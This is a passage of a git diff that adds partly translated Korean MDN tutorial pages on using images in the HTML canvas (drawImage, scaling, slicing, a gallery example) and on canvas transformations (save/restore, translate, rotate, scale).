+<p>이렇게 얻은 소스들은 {{domxref("CanvasImageSource")}}.를 사용하여 불러 올 수 있습니다.</p>
+
+<p>다음은 캔버스에 놓인 이미지를 사용하는 여러가지 방법입니다.</p>
+
+<h3 id="같은_페이지의_이미지_사용하기">같은 페이지의 이미지 사용하기</h3>
+
+<p>우리는 다음을 사용하여 같은 페이지에 있는 캔버스나 이미지를 참고 할 수 있습니다.</p>
+
+<ul>
+ <li>{{domxref("document.images")}} 모음</li>
+ <li>{{domxref("document.getElementsByTagName()")}} 메소드</li>
+ <li>사용 하고자 하는 특정한 이미지의 ID를 알고 있다면, {{domxref("document.getElementById()")}} 를 사용하여 특정한 이미지를 참고할 수 있습니다.</li>
+</ul>
+
+<h3 id="다른_도메인의_이미지_사용하기">다른 도메인의 이미지 사용하기</h3>
+
+<p>Using the {{htmlattrxref("crossorigin", "img")}} attribute of an {{HTMLElement("img")}} element (reflected by the {{domxref("HTMLImageElement.crossOrigin")}} property), you can request permission to load an image from another domain for use in your call to <code>drawImage()</code>. If the hosting domain permits cross-domain access to the image, the image can be used in your canvas without tainting it; otherwise using the image will <a href="https://developer.mozilla.org/en-US/docs/HTML/CORS_Enabled_Image#What_is_a_.22tainted.22_canvas.3F" rel="internal">taint the canvas</a>.</p>
+
+<h3 id="다른_캔버스_요소_canvas_elements_사용하기">다른 캔버스 요소 (canvas elements) 사용하기</h3>
+
+<p>Just as with normal images, we access other canvas elements using either the {{domxref("document.getElementsByTagName()")}} or {{domxref("document.getElementById()")}} method. Be sure you've drawn something to the source canvas before using it in your target canvas.</p>
+
+<p>One of the more practical uses of this would be to use a second canvas element as a thumbnail view of the other larger canvas.</p>
+
+<h3 id="처음부터_이미지_만들기">처음부터 이미지 만들기</h3>
+
+<p>Another option is to create new {{domxref("HTMLImageElement")}} objects in our script. To do this, you can use the convenient <code>Image()</code> constructor:</p>
+
+<pre class="brush: js notranslate">var img = new Image();   // Create new img element
+img.src = 'myImage.png'; // Set source path
+</pre>
+
+<p>When this script gets executed, the image starts loading.</p>
+
+<p>If you try to call <code>drawImage()</code> before the image has finished loading, it won't do anything (or, in older browsers, may even throw an exception). So you need to be sure to use the load event so you don't try this before the image has loaded:</p>
+
+<pre class="brush: js notranslate">var img = new Image();   // Create new img element
+img.addEventListener('load', function() {
+  // execute drawImage statements here
+}, false);
+img.src = 'myImage.png'; // Set source path
+</pre>
+
+<p>If you're only using one external image this can be a good approach, but once you need to track more than one we need to resort to something more clever. It's beyond the scope of this tutorial to look at image pre-loading tactics, but you should keep that in mind.</p>
+
+<h3 id="데이터를_사용하여_이미지_불러오기Embedding_an_image_via_data_URL">데이터를 사용하여 이미지 불러오기Embedding an image via data: URL</h3>
+
+<p>Another possible way to include images is via the <a class="external" href="/en-US/docs/Web/HTTP/data_URIs" rel="external" title="http://en.wikipedia.org/wiki/Data:_URL">data: url</a>. Data URLs allow you to completely define an image as a Base64 encoded string of characters directly in your code.</p>
+
+<pre class="brush: js notranslate">var img = new Image();   // Create new img element
+img.src = 'data:image/gif;base64,R0lGODlhCwALAIAAAAAA3pn/ZiH5BAEAAAEALAAAAAALAAsAAAIUhA+hkcuO4lmNVindo7qyrIXiGBYAOw==';
+</pre>
+
+<p>One advantage of data URLs is that the resulting image is available immediately without another round trip to the server. Another potential advantage is that it is also possible to encapsulate in one file all of your <a href="/en-US/docs/Web/CSS" title="/en-US/docs/Web/CSS">CSS</a>, <a href="/en-US/docs/Web/JavaScript" title="/en-US/docs/Web/JavaScript">JavaScript</a>, <a href="/en-US/docs/Web/HTML" title="/en-US/docs/Web/HTML">HTML</a>, and images, making it more portable to other locations.</p>
+
+<p>Some disadvantages of this method are that your image is not cached, and for larger images the encoded url can become quite long.</p>
+
+<h3 id="비디오_프레임_사용하기Using_frames_from_a_video">비디오 프레임 사용하기Using frames from a video</h3>
+
+<p>You can also use frames from a video being presented by a {{HTMLElement("video")}} element (even if the video is not visible). For example, if you have a {{HTMLElement("video")}} element with the ID "myvideo", you can do this:</p>
+
+<pre class="brush: js notranslate">function getMyVideo() {
+  var canvas = document.getElementById('canvas');
+  if (canvas.getContext) {
+    var ctx = canvas.getContext('2d');
+
+    return document.getElementById('myvideo');
+  }
+}
+</pre>
+
+<p>This returns the {{domxref("HTMLVideoElement")}} object for the video, which, as covered earlier, is one of the objects that can be used as a <code>CanvasImageSource</code>.</p>
+
+<h2 id="이미지_그리기">이미지 그리기</h2>
+
+<p>Once we have a reference to our source image object we can use the <code>drawImage()</code> method to render it to the canvas. As we will see later the <code>drawImage()</code> method is overloaded and has several variants. In its most basic form it looks like this:</p>
+
+<dl>
+ <dt>{{domxref("CanvasRenderingContext2D.drawImage", "drawImage(image, x, y)")}}</dt>
+ <dd>Draws the <code>CanvasImageSource</code> specified by the <code>image</code> parameter at the coordinates (<code>x</code>, <code>y</code>).</dd>
+</dl>
+
+<div class="note">
+<p>SVG images must specify a width and height in the root &lt;svg&gt; element.</p>
+</div>
+
+<h3 id="예제_기본_선_그래프">예제: 기본 선 그래프</h3>
+
+<p>In the following example, we will use an external image as the backdrop for a small line graph. Using backdrops can make your script considerably smaller because we can avoid the need for code to generate the background. In this example, we're only using one image, so I use the image object's <code>load</code> event handler to execute the drawing statements. The <code>drawImage()</code> method places the backdrop at the coordinate (0, 0), which is the top-left corner of the canvas.</p>
+
+<div class="hidden">
+<pre class="brush: html notranslate">&lt;html&gt;
+ &lt;body onload="draw();"&gt;
+   &lt;canvas id="canvas" width="180" height="150"&gt;&lt;/canvas&gt;
+ &lt;/body&gt;
+&lt;/html&gt;
+</pre>
+</div>
+
+<pre class="brush: js;highlight[5] notranslate">function draw() {
+  var ctx = document.getElementById('canvas').getContext('2d');
+  var img = new Image();
+  img.onload = function() {
+    ctx.drawImage(img, 0, 0);
+    ctx.beginPath();
+    ctx.moveTo(30, 96);
+    ctx.lineTo(70, 66);
+    ctx.lineTo(103, 76);
+    ctx.lineTo(170, 15);
+    ctx.stroke();
+  };
+  img.src = 'https://mdn.mozillademos.org/files/5395/backdrop.png';
+}</pre>
+
+<p>The resulting graph looks like this:</p>
+
+<p>{{EmbedLiveSample("Example_A_simple_line_graph", 220, 160, "https://mdn.mozillademos.org/files/206/Canvas_backdrop.png")}}</p>
+
+<h2 id="비례_크기_조정">비례 크기 조정</h2>
+
+<p>The second variant of the <code>drawImage()</code> method adds two new parameters and lets us place scaled images on the canvas.</p>
+
+<dl>
+ <dt>{{domxref("CanvasRenderingContext2D.drawImage", "drawImage(image, x, y, width, height)")}}</dt>
+ <dd>This adds the <code>width</code> and <code>height</code> parameters, which indicate the size to which to scale the image when drawing it onto the canvas.</dd>
+</dl>
+
+<h3 id="예제_이미지를_타일처럼_배치">예제: 이미지를 타일처럼 배치</h3>
+
+<p>In this example, we'll use an image as a wallpaper and repeat it several times on the canvas. This is done simply by looping and placing the scaled images at different positions. In the code below, the first <code>for</code> loop iterates over the rows. The second <code>for</code> loop iterates over the columns. The image is scaled to one third of its original size, which is 50x38 pixels.</p>
+
+<div class="note">
+<p><strong>Note</strong>: Images can become blurry when scaling up or grainy if they're scaled down too much. Scaling is probably best not done if you've got some text in it which needs to remain legible.</p>
+</div>
+
+<div class="hidden">
+<pre class="brush: html notranslate">&lt;html&gt;
+ &lt;body onload="draw();"&gt;
+   &lt;canvas id="canvas" width="150" height="150"&gt;&lt;/canvas&gt;
+ &lt;/body&gt;
+&lt;/html&gt;
+</pre>
+</div>
+
+<pre class="brush: js notranslate">function draw() {
+  var ctx = document.getElementById('canvas').getContext('2d');
+  var img = new Image();
+  img.onload = function() {
+    for (var i = 0; i &lt; 4; i++) {
+      for (var j = 0; j &lt; 3; j++) {
+        ctx.drawImage(img, j * 50, i * 38, 50, 38);
+      }
+    }
+  };
+  img.src = 'https://mdn.mozillademos.org/files/5397/rhino.jpg';
+}</pre>
+
+<p>The resulting canvas looks like this:</p>
+
+<p>{{EmbedLiveSample("Example_Tiling_an_image", 160, 160, "https://mdn.mozillademos.org/files/251/Canvas_scale_image.png")}}</p>
+
+<h2 id="이미지_자르기">이미지 자르기</h2>
+
+<p>The third and last variant of the <code>drawImage()</code> method has eight parameters in addition to the image source. It lets us cut out a section of the source image, then scale and draw it on our canvas.</p>
+
+<dl>
+ <dt>{{domxref("CanvasRenderingContext2D.drawImage", "drawImage(image, sx, sy, sWidth, sHeight, dx, dy, dWidth, dHeight)")}}</dt>
+ <dd>Given an <code>image</code>, this function takes the area of the source image specified by the rectangle whose top-left corner is (<code>sx</code>, <code>sy</code>) and whose width and height are <code>sWidth</code> and <code>sHeight</code> and draws it into the canvas, placing it on the canvas at (<code>dx</code>, <code>dy</code>) and scaling it to the size specified by <code>dWidth</code> and <code>dHeight</code>.</dd>
+</dl>
+
+<p><img alt="" class="internal" src="https://mdn.mozillademos.org/files/225/Canvas_drawimage.jpg" style="float: right; height: 290px; width: 300px;">To really understand what this does, it may help to look at the image to the right. The first four parameters define the location and size of the slice on the source image. The last four parameters define the rectangle into which to draw the image on the destination canvas.</p>
+
+<p>Slicing can be a useful tool when you want to make compositions. You could have all elements in a single image file and use this method to composite a complete drawing. For instance, if you want to make a chart you could have a PNG image containing all the necessary text in a single file and depending on your data could change the scale of your chart fairly easily. Another advantage is that you don't need to load every image individually, which can improve load performance.</p>
+
+<h3 id="예제_이미지_프레임_넣기">예제: 이미지 프레임 넣기</h3>
+
+<p>In this example, we'll use the same rhino as in the previous example, but we'll slice out its head and composite it into a picture frame. The picture frame image is a 24-bit PNG which includes a drop shadow. Because 24-bit PNG images include a full 8-bit alpha channel, unlike GIF and 8-bit PNG images, it can be placed onto any background without worrying about a matte color.</p>
+
+<pre class="brush: html notranslate">&lt;html&gt;
+ &lt;body onload="draw();"&gt;
+   &lt;canvas id="canvas" width="150" height="150"&gt;&lt;/canvas&gt;
+   &lt;div style="display:none;"&gt;
+     &lt;img id="source" src="https://mdn.mozillademos.org/files/5397/rhino.jpg" width="300" height="227"&gt;
+     &lt;img id="frame" src="https://mdn.mozillademos.org/files/242/Canvas_picture_frame.png" width="132" height="150"&gt;
+   &lt;/div&gt;
+ &lt;/body&gt;
+&lt;/html&gt;
+</pre>
+
+<pre class="brush: js notranslate">function draw() {
+  var canvas = document.getElementById('canvas');
+  var ctx = canvas.getContext('2d');
+
+  // Draw slice
+  ctx.drawImage(document.getElementById('source'),
+                33, 71, 104, 124, 21, 20, 87, 104);
+
+  // Draw frame
+  ctx.drawImage(document.getElementById('frame'), 0, 0);
+}</pre>
+
+<p>We took a different approach to loading the images this time. Instead of loading them by creating new {{domxref("HTMLImageElement")}} objects, we included them as {{HTMLElement("img")}} tags directly in our HTML source and retrieved the images from those. The images are hidden from output by setting the CSS property {{cssxref("display")}} to none for those images.</p>
+
+<p>{{EmbedLiveSample("Example_Framing_an_image", 160, 160, "https://mdn.mozillademos.org/files/226/Canvas_drawimage2.jpg")}}</p>
+
+<p>The script itself is very simple. Each {{HTMLElement("img")}} is assigned an ID attribute, which makes them easy to select using {{domxref("document.getElementById()")}}. We then simply use <code>drawImage()</code> to slice the rhino out of the first image and scale him onto the canvas, then draw the frame on top using a second <code>drawImage()</code> call.</p>
+
+<h2 id="아트_갤러리_예제">아트 갤러리 예제</h2>
+
+<p>In the final example of this chapter, we'll build a little art gallery. The gallery consists of a table containing several images. When the page is loaded, a {{HTMLElement("canvas")}}  element is inserted for each image and a frame is drawn around it.</p>
+
+<p>In this case, every image has a fixed width and height, as does the frame that's drawn around them. You could enhance the script so that it uses the image's width and height to make the frame fit perfectly around it.</p>
+
+<p>The code below should be self-explanatory. We loop through the {{domxref("document.images")}} container and add new canvas elements accordingly. Probably the only thing to note, for those not so familiar with the DOM, is the use of the {{domxref("Node.insertBefore")}} method. <code>insertBefore()</code> is a method of the parent node (a table cell) of the element (the image) before which we want to insert our new node (the canvas element).</p>
+
+<pre class="brush: html notranslate">&lt;html&gt;
+ &lt;body onload="draw();"&gt;
+     &lt;table&gt;
+      &lt;tr&gt;
+        &lt;td&gt;&lt;img src="https://mdn.mozillademos.org/files/5399/gallery_1.jpg"&gt;&lt;/td&gt;
+        &lt;td&gt;&lt;img src="https://mdn.mozillademos.org/files/5401/gallery_2.jpg"&gt;&lt;/td&gt;
+        &lt;td&gt;&lt;img src="https://mdn.mozillademos.org/files/5403/gallery_3.jpg"&gt;&lt;/td&gt;
+        &lt;td&gt;&lt;img src="https://mdn.mozillademos.org/files/5405/gallery_4.jpg"&gt;&lt;/td&gt;
+      &lt;/tr&gt;
+      &lt;tr&gt;
+        &lt;td&gt;&lt;img src="https://mdn.mozillademos.org/files/5407/gallery_5.jpg"&gt;&lt;/td&gt;
+        &lt;td&gt;&lt;img src="https://mdn.mozillademos.org/files/5409/gallery_6.jpg"&gt;&lt;/td&gt;
+        &lt;td&gt;&lt;img src="https://mdn.mozillademos.org/files/5411/gallery_7.jpg"&gt;&lt;/td&gt;
+        &lt;td&gt;&lt;img src="https://mdn.mozillademos.org/files/5413/gallery_8.jpg"&gt;&lt;/td&gt;
+      &lt;/tr&gt;
+     &lt;/table&gt;
+     &lt;img id="frame" src="https://mdn.mozillademos.org/files/242/Canvas_picture_frame.png" width="132" height="150"&gt;
+ &lt;/body&gt;
+&lt;/html&gt;
+</pre>
+
+<p>And here's some CSS to make things look nice:</p>
+
+<pre class="brush: css notranslate">body {
+  background: 0 -100px repeat-x url(https://mdn.mozillademos.org/files/5415/bg_gallery.png) #4F191A;
+  margin: 10px;
+}
+
+img {
+  display: none;
+}
+
+table {
+  margin: 0 auto;
+}
+
+td {
+  padding: 15px;
+}
+</pre>
+
+<p>Tying it all together is the JavaScript to draw our framed images:</p>
+
+<pre class="brush: js notranslate">function draw() {
+
+  // Loop through all images
+  for (var i = 0; i &lt; document.images.length; i++) {
+
+    // Don't add a canvas for the frame image
+    if (document.images[i].getAttribute('id') != 'frame') {
+
+      // Create canvas element
+      canvas = document.createElement('canvas');
+      canvas.setAttribute('width', 132);
+      canvas.setAttribute('height', 150);
+
+      // Insert before the image
+      document.images[i].parentNode.insertBefore(canvas,document.images[i]);
+
+      ctx = canvas.getContext('2d');
+
+      // Draw image to canvas
+      ctx.drawImage(document.images[i], 15, 20);
+
+      // Add frame
+      ctx.drawImage(document.getElementById('frame'), 0, 0);
+    }
+  }
+}</pre>
+
+<p>{{EmbedLiveSample("Art_gallery_example", 725, 400)}}</p>
+
+<h2 id="이미지_비율_습성scaling_behavior_제어하기">이미지 비율 습성(scaling behavior) 제어하기</h2>
+
+<p>As mentioned previously, scaling images can result in fuzzy or blocky artifacts due to the scaling process. You can use the drawing context's {{domxref("CanvasRenderingContext2D.imageSmoothingEnabled", "imageSmoothingEnabled")}} property to control the use of image smoothing algorithms when scaling images within your context. By default, this is <code>true</code>, meaning images will be smoothed when scaled. You can disable this feature like this:</p>
+
+<pre class="brush: js notranslate">ctx.mozImageSmoothingEnabled = false;
+ctx.webkitImageSmoothingEnabled = false;
+ctx.msImageSmoothingEnabled = false;
+ctx.imageSmoothingEnabled = false;
+</pre>
+
+<p>{{PreviousNext("Web/API/Canvas_API/Tutorial/Drawing_text", "Web/API/Canvas_API/Tutorial/Transformations")}}</p>
diff --git a/files/ko/web/html/canvas/tutorial/변형/index.html b/files/ko/web/html/canvas/tutorial/변형/index.html
new file mode 100644
index 0000000000..b93747b581
--- /dev/null
+++ b/files/ko/web/html/canvas/tutorial/변형/index.html
@@ -0,0 +1,286 @@
+---
+title: 변형 (transformations)
+slug: Web/HTML/Canvas/Tutorial/변형
+tags:
+  - CSS
+  - HTML
+  - 이동
+  - 축소
+  - 캔버스
+  - 크기변형
+  - 트랜스폼
+  - 확대
+translation_of: Web/API/Canvas_API/Tutorial/Transformations
+---
+<div>{{CanvasSidebar}} {{PreviousNext("Web/API/Canvas_API/Tutorial/Using_images", "Web/API/Canvas_API/Tutorial/Compositing")}}</div>
+
+<div class="summary">이 튜토리얼에 앞서 <a href="/ko/docs/Web/HTML/Canvas/Tutorial/Drawing_shapes">canvas 그리드</a>와 <strong>좌표 공간</strong>에 대해 알아 보았습니다. 지금까지는 기본적인 그리드를 사용해 요구에 맞추어 전체 canvas의 크기를 바꾸기만 했습니다. Transformation(변형)에는 그리드를 원점에서 다른 위치로 옮기고, 회전하며, 확대·축소까지 하는 더 강력한 방법들이 있습니다.</div>
+
+<h2 id="Saving_and_restoring_state" name="Saving_and_restoring_state">상태(state)의 저장과 복원</h2>
+
+<p>변형(transformation) 메소드을 살펴보기 전에 두 가지 다른 메소드를 보도록 하지요. 일단 여러분이 더 복잡한 그림(drawings)을 그리기 시작하면 반드시 있어야 하는 메소드들입니다.</p>
+
+<dl>
+ <dt>{{domxref("CanvasRenderingContext2D.save", "save()")}}</dt>
+ <dd>canvas의 모든 상태를 저장합니다.</dd>
+ <dt>{{domxref("CanvasRenderingContext2D.restore", "restore()")}}</dt>
+ <dd>가장 최근에 저장된 canvas 상태를 복원합니다.</dd>
+</dl>
+
+<p>Canvas 상태는 스택(stack)에 쌓입니다. <code>save()</code> 메소드가 호출될 때마다 현재 drawing 상태가 스택 위로 푸시됩니다. drawing 상태는 다음과 같이 이루어집니다.</p>
+
+<ul>
+ <li>이전부터 적용된 변형(가령,  <code>translate</code>과 <code>rotate</code>와 <code>scale</code> 같은 – 아래의 내용을 보세요).</li>
+ <li>다음 속성(attributes)의 현재 값:<br>
+  {{domxref("CanvasRenderingContext2D.strokeStyle", "strokeStyle")}}, {{domxref("CanvasRenderingContext2D.fillStyle", "fillStyle")}}, {{domxref("CanvasRenderingContext2D.globalAlpha", "globalAlpha")}}, {{domxref("CanvasRenderingContext2D.lineWidth", "lineWidth")}}, {{domxref("CanvasRenderingContext2D.lineCap", "lineCap")}}, {{domxref("CanvasRenderingContext2D.lineJoin", "lineJoin")}}, {{domxref("CanvasRenderingContext2D.miterLimit", "miterLimit")}}, {{domxref("CanvasRenderingContext2D.lineDashOffset", "lineDashOffset")}}, {{domxref("CanvasRenderingContext2D.shadowOffsetX", "shadowOffsetX")}}, {{domxref("CanvasRenderingContext2D.shadowOffsetY", "shadowOffsetY")}}, {{domxref("CanvasRenderingContext2D.shadowBlur", "shadowBlur")}}, {{domxref("CanvasRenderingContext2D.shadowColor", "shadowColor")}}, {{domxref("CanvasRenderingContext2D.globalCompositeOperation", "globalCompositeOperation")}}, {{domxref("CanvasRenderingContext2D.font", "font")}}, {{domxref("CanvasRenderingContext2D.textAlign", "textAlign")}}, {{domxref("CanvasRenderingContext2D.textBaseline", "textBaseline")}}, {{domxref("CanvasRenderingContext2D.direction", "direction")}}, {{domxref("CanvasRenderingContext2D.imageSmoothingEnabled", "imageSmoothingEnabled")}}.</li>
+ <li>현재의 <a href="/en-US/docs/Web/API/Canvas_API/Tutorial/Compositing#Clipping_paths">clipping path</a>, 이것은 다음 섹션에서 다루겠습니다.</li>
+</ul>
+
+<p>여러분은 원하는 만큼 <code>save()</code> 메소드를 많이 호출할 수 있습니다. <code>restore()</code> 메소드를 호출할 때마다 마지막으로 저장된 상태가 스택에서 튀어나와 저장된 설정들을 모두 복원시킵니다.</p>
+
+<h3 id="A_save_and_restore_canvas_state_example" name="A_save_and_restore_canvas_state_example"><code>save</code>와 <code>restore</code> canvas 상태(state) 예제</h3>
+
+<p>사각형 세트를 연이어 그려서 drawing 상태를 가진 스택이 어떻게 기능하는지를 이 예제에서 설명하고자 합니다.</p>
+
+<pre class="brush: js; highlight:[5,10,15,18]">function draw() {
+  var ctx = document.getElementById('canvas').getContext('2d');
+
+  ctx.fillRect(0, 0, 150, 150);   // 기본 설정으로 사각형을 그리기
+  ctx.save();                  // 기본 상태를 저장하기
+
+  ctx.fillStyle = '#09F';      // 설정 변경하기
+  ctx.fillRect(15, 15, 120, 120); // 새로운 설정으로 사각형 그리기
+
+  ctx.save();                  // 현재 상태 저장하기
+  ctx.fillStyle = '#FFF';      // 설정 변경하기
+  ctx.globalAlpha = 0.5;
+  ctx.fillRect(30, 30, 90, 90);   // 새로운 설정으로 사각형 그리기
+
+  ctx.restore();               // 이전 상태 복원하기
+  ctx.fillRect(45, 45, 60, 60);   // 복원된 설정으로 사각형 그리기
+
+  ctx.restore();               // 초기 상태를 복원하기
+  ctx.fillRect(60, 60, 30, 30);   // 복원된 설정으로 사각형 그리기
+}</pre>
+
+<div class="hidden">
+<pre class="brush: html">&lt;canvas id="canvas" width="150" height="150"&gt;&lt;/canvas&gt;</pre>
+
+<pre class="brush: js">draw();</pre>
+</div>
+
+<p>첫 단계로 기본 설정으로 커다란 사각형을 그립니다. 그다음에는 이 상태를 저장하고 fill color를 바꿉니다. 그런 후에 두 번째이자 크기가 더 작은 파란 사각형을 그리고 그 상태를 저장합니다. 다시 한번 일부 drawing 설정을 바꾸고 세 번째 반투명한 흰 사각형을 그립니다. </p>
+
+<p>여기까지는 이전 섹션에서 했던 작업과 매우 유사합니다. 하지만 일단 첫 번째 <code>restore()</code> 문을 호출하면 스택에서 맨 위의 drawing 상태가 지워지고 설정이 복원됩니다. 만일 <code>save()</code>로 저장하지 않았다면, 이전 상태로 되돌리기 위해 fill color와 투명도를 일일이 바꿔주어야 했을 것입니다. 두 속성이라서 간단했을 테지만 그보다 더 많았으면 코드가 급속히 길어졌겠지요. </p>
+
+<p>두 번째 <code>restore()</code>문이 호출될 때, 초기 상태( 처음으로 <code>save</code>를 호출하기 전에 설정한 상태)가 복원되고 마지막 사각형은 한번 더 검게 그려집니다.</p>
+
+<p>{{EmbedLiveSample("A_save_and_restore_canvas_state_example", "180", "180", "https://mdn.mozillademos.org/files/249/Canvas_savestate.png")}}</p>
+
+<h2 id="Translating" name="Translating">이동(translating)</h2>
+
+<p><img alt="" class="internal" src="https://mdn.mozillademos.org/files/234/Canvas_grid_translate.png" style="float: right;">우리가 살펴볼 첫 번째 변형 메소드는 <code>translate()</code>입니다.  이 메소드는 그리드에서 canvas를 원점에서 다른 점으로 옮기는 데 사용됩니다. </p>
+
+<dl>
+ <dt>{{domxref("CanvasRenderingContext2D.translate", "translate(x, y)")}}</dt>
+ <dd>그리드에서 canvas와 그 원점을 이동합니다. <code>x</code>는 이동시킬 수평 거리를 가리키고, <code>y</code>는 그리드에서 수직으로 얼마나 멀리 떨어지는지를 표시합니다. </dd>
+</dl>
+
+<p>변형하기 전에 canvas 상태를 저장하는 것이 좋습니다. 대다수의 경우, 원래 상태로 되돌리려고 역이동(reverse translation)을 시키는 것보다 <code>restore</code> 메소드를 호출하는 것이 더욱 간편합니다. 게다가 루프(loop) 안에서 이동하는 거라면 canvas 상태를 저장하고 복원하지 마세요. canvas 모서리 밖에서 그려지는 바람에 drawing의 일부를 잃어버리게 될지 모릅니다. </p>
+
+<h3 id="A_translate_example" name="A_translate_example"><code>translate</code> 예제</h3>
+
+<p>이 예제에서 canvas 원점의 이동에 관한 좋은 점을 일부 보여드리겠습니다. <code>translate()</code> 메소드를 쓰지 않으면 모든 사각형은 같은 위치 (0, 0)에 그려집니다. 또한, <code>translate()</code> 메소드는 사각형을 <code>fillRect()</code> function에서 좌표를 일일이 적으며 바꾸지 않아도 어디에나 위치할 수 있게 해줍니다. 이렇게 하면 이해하고 사용하기가 좀 더 쉽습니다. </p>
+
+<p> <code>draw()</code> function에서 두 개의 루프(loops)를 이용해 <code>fillRect()</code> function을 아홉 번 호출합니다. 루프마다 canvas가 이동하고 사각형이 그려지며, canvas는 원래 상태로 되돌아 갑니다. <code>fillRect()</code>로의 호출이 <code>translate()</code>에 의지해 drawing 위치를 바꾸는데 어떻게 매번 같은 좌표를 사용하는지 눈여겨 보세요.</p>
+
+<pre class="brush: js; highlight:[7]">function draw() {
+  var ctx = document.getElementById('canvas').getContext('2d');
+  for (var i = 0; i &lt; 3; i++) {
+    for (var j = 0; j &lt; 3; j++) {
+      ctx.save();
+      ctx.fillStyle = 'rgb(' + (51 * i) + ', ' + (255 - 51 * i) + ', 255)';
+      ctx.translate(10 + j * 50, 10 + i * 50);
+      ctx.fillRect(0, 0, 25, 25);
+      ctx.restore();
+    }
+  }
+}
+</pre>
+
+<div class="hidden">
+<pre class="brush: html">&lt;canvas id="canvas" width="150" height="150"&gt;&lt;/canvas&gt;</pre>
+
+<pre class="brush: js">draw();</pre>
+</div>
+
+<p>{{EmbedLiveSample("A_translate_example", "160", "160", "https://mdn.mozillademos.org/files/9857/translate.png")}}</p>
+
+<h2 id="Rotating" name="Rotating">회전(rotating)</h2>
+
+<p><img alt="" class="internal" src="https://mdn.mozillademos.org/files/233/Canvas_grid_rotate.png" style="float: right;">두 번째 변형 메소드는 <code>rotate()</code>입니다. canvas를 현재의 원점 둘레로 회전하는 데 사용합니다.</p>
+
+<dl>
+ <dt>{{domxref("CanvasRenderingContext2D.rotate", "rotate(angle)")}}</dt>
+ <dd>canvas를 현재 원점을 기준으로 라디안의 <code>angle</code> 숫자만큼 시계방향으로 회전시킵니다.</dd>
+</dl>
+
+<p>회전의 중심점은 언제나 canvas 원점입니다. 중심점을 바꾸려면 <code>translate()</code> 메소드를 써서 canvas를 이동해야 합니다.</p>
+
+<h3 id="A_rotate_example" name="A_rotate_example"><code>rotate</code> 예제</h3>
+
+<p>이 예제는 사각형을 canvas 원점에서 먼저 회전하고 그다음에 <code>translate()</code>의 도움을 받아 사각형 자체의 중심에서 회전하는 데 <code>rotate()</code>를 사용합니다.</p>
+
+<div class="note">
+<p><strong>주의</strong>: 각도의 단위는 도(degree)가 아닌 라디안(radian)입니다.   변환하려면 <code>radians = (Math.PI/180)*degrees</code>.를 사용합니다.</p>
+</div>
+
+<pre class="brush: js; highlight:[9, 23]">function draw() {
+  var ctx = document.getElementById('canvas').getContext('2d');
+
+  // 좌측 사각형, canvas 원점에서 회전하기
+  ctx.save();
+  // 파란 사각형
+  ctx.fillStyle = '#0095DD';
+  ctx.fillRect(30, 30, 100, 100);
+  ctx.rotate((Math.PI / 180) * 25);
+  // 회색 사각형
+  ctx.fillStyle = '#4D4E53';
+  ctx.fillRect(30, 30, 100, 100);
+  ctx.restore();
+
+  // 우측 사각형, 사각형 중심에서 회전하기
+  // 파란 사각형 그리기
+  ctx.fillStyle = '#0095DD';
+  ctx.fillRect(150, 30, 100, 100);
+
+  ctx.translate(200, 80); // 사각형 중심으로 이동하기
+                          // x = x + 0.5 * width
+                          // y = y + 0.5 * height
+  ctx.rotate((Math.PI / 180) * 25); // 회전
+  ctx.translate(-200, -80); // 예전 위치로 이동하기
+
+  // 회색 사각형 그리기
+  ctx.fillStyle = '#4D4E53';
+  ctx.fillRect(150, 30, 100, 100);
+}
+</pre>
+
+<p>사각형 자체의 중심 둘레로 회전하려면 사각형의 중심으로 canvas를 옮기세요. 그런 후에 canvas를 회전하고, 그 canvas를 0, 0로 되돌려 이동합니다. 그다음에 사각형을 그리세요.</p>
+
+<div class="hidden">
+<pre class="brush: html">&lt;canvas id="canvas" width="300" height="200"&gt;&lt;/canvas&gt;</pre>
+
+<pre class="brush: js">draw();</pre>
+</div>
+
+<p>{{EmbedLiveSample("A_rotate_example", "310", "210", "https://mdn.mozillademos.org/files/9859/rotate.png")}}</p>
+
+<h2 id="Scaling" name="Scaling">확대·축소(scaling)</h2>
+
+<p>다음 변형 메소드는 확대·축소(scaling)입니다. canvas 그리드에서 단위(units)를 키우거나 줄이는 데 사용합니다. 이는 벡터 모양과 비트맵(bitmaps) 요소를 축소하거나 확대해서 그리는 데 사용될 수 있습니다.</p>
+
+<dl>
+ <dt>{{domxref("CanvasRenderingContext2D.scale", "scale(x, y)")}}</dt>
+ <dd>canvas 단위를 수평으로 x만큼, 수직으로 y만큼 크기를 확대·축소합니다. 둘의 매개 변수는 실수입니다. 1.0보다 작은 값이면 단위의 크기를 축소하고, 1.0보다 큰 값이면 단위의 크기를 확대합니다. 값이 1.0이면 단위의 크기는 그대로입니다.</dd>
+</dl>
+
+<p>음수를 이용해서 축을 대칭 시킬 수 있습니다(가령 <code>translate(0,canvas.height); scale(1,-1);</code>로 쓰는 것처럼 말이죠. 좌측 하단 모서리에 있는 원점을 이용한, 잘 알려진 카르테시안 좌표계(Cartesian coordinate)인 것이지요.</p>
+
+<p>기본적으로 canvas에서 하나의 단위는 정확히 1픽셀입니다. 예를 들어 0.5라는 확대·축소 비율을 적용한다면, 결과로 나오는 단위는 0.5 픽셀이 될 것이고, 고로 모양도 절반 크기로 그려질 것입니다. 이런 방식으로 크기 비율을 2.0으로 잡으면 단위 크기가 확대되어 하나의 단위는 이제 2픽셀이 되겠지요. 이 결과로 모양은 그만큼 2배로 커집니다.</p>
+
+<h3 id="A_scale_example" name="A_scale_example"><code>scale</code> 예제</h3>
+
+<p>마지막 예제로 다양한 확대·축소 비율을 이용해 모양을 그려보겠습니다.</p>
+
+<pre class="brush: js; highlight:[6,11]">function draw() {
+  var ctx = document.getElementById('canvas').getContext('2d');
+
+  // 간단하지만 확대·축소 비율을 적용한 사각형 그리기
+  ctx.save();
+  ctx.scale(10, 3);
+  ctx.fillRect(1, 10, 10, 10);
+  ctx.restore();
+
+  // 수평으로 대칭하기
+  ctx.scale(-1, 1);
+  ctx.font = '48px serif';
+  ctx.fillText('MDN', -135, 120);
+}
+
+</pre>
+
+<div class="hidden">
+<pre class="brush: html">&lt;canvas id="canvas" width="150" height="150"&gt;&lt;/canvas&gt;</pre>
+
+<pre class="brush: js">draw();</pre>
+</div>
+
+<p>{{EmbedLiveSample("A_scale_example", "160", "160", "https://mdn.mozillademos.org/files/9861/scale.png")}}</p>
+
+<h2 id="Transforms" name="Transforms">변형(transforms)</h2>
+
+<p>마지막으로, 다음의 변형(transform) 메소드들은 변환 행렬(transformation matrix)로 변경할 사항을 즉시 적용할 수 있습니다.</p>
+
+<dl>
